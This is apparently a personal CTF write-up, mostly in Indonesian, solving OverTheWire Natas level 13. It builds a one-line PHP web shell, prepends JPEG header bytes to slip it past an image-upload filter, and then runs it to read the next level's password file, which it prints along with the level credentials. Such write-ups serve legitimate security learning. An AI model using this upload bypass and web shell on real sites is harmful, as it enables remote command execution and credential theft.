write up ctf by ariafatah

ariaf.my.id/ctf_aria/natas/level 13.html


soal

Username: natas13
URL: http://natas13.natas.labs.overthewire.org

solve

  • login with cred natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC
  • di soal kali ini kita harus memaasukan file jenis jpg jika tidak itu akan ditolak jadi saya mencoba dengan jpg dibawah 1k byte, dan php terlebih dahulu alt text alt text
  • saya mencoba melakukan bypass dengan mengubah hexeditor
    cp simple.php simple-bypass.php
    file simple-bypass.php 
    # simple-bypass.php: PHP script, ASCII text
    file 680b.jpg 
    # 680b.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 10x10, components 3
    
    xxd 680b.jpg 
    00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 012c  ......JFIF.....,
    
    ## kita akan mengambil header byte dari jpeg ini ke php
    ## kita perlu menambahkan beberapa teks untuk mempermudah mengubahnya
    
    cat simple-bypass.php 
    ##########
    <?php echo system($_GET['c']); ?>
    
    hexeditor simple-bypass.php
    
  • dan kita edit hex nya samakan dengan hex header jpeg alt text
  • menjadi seperti ini alt text
  • dan simpan dengan ctrl x
  • jika sudah kita bisa coba untuk cek lagi apakah filenya sudah benar
    file simple-bypass.php 
    simple-bypass.php: JPEG image data, JFIF standard 60.63, density 26736x8293, segment length 16, thumbnail 99x104
    

uplooad the file

  • lalu saya mencooba mengupload filenya dan menintercept di brute dan mengubah lagi namanya alt text alt text alt text
    • ?c=cat /etc/natas_webpass/natas14

flag

z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ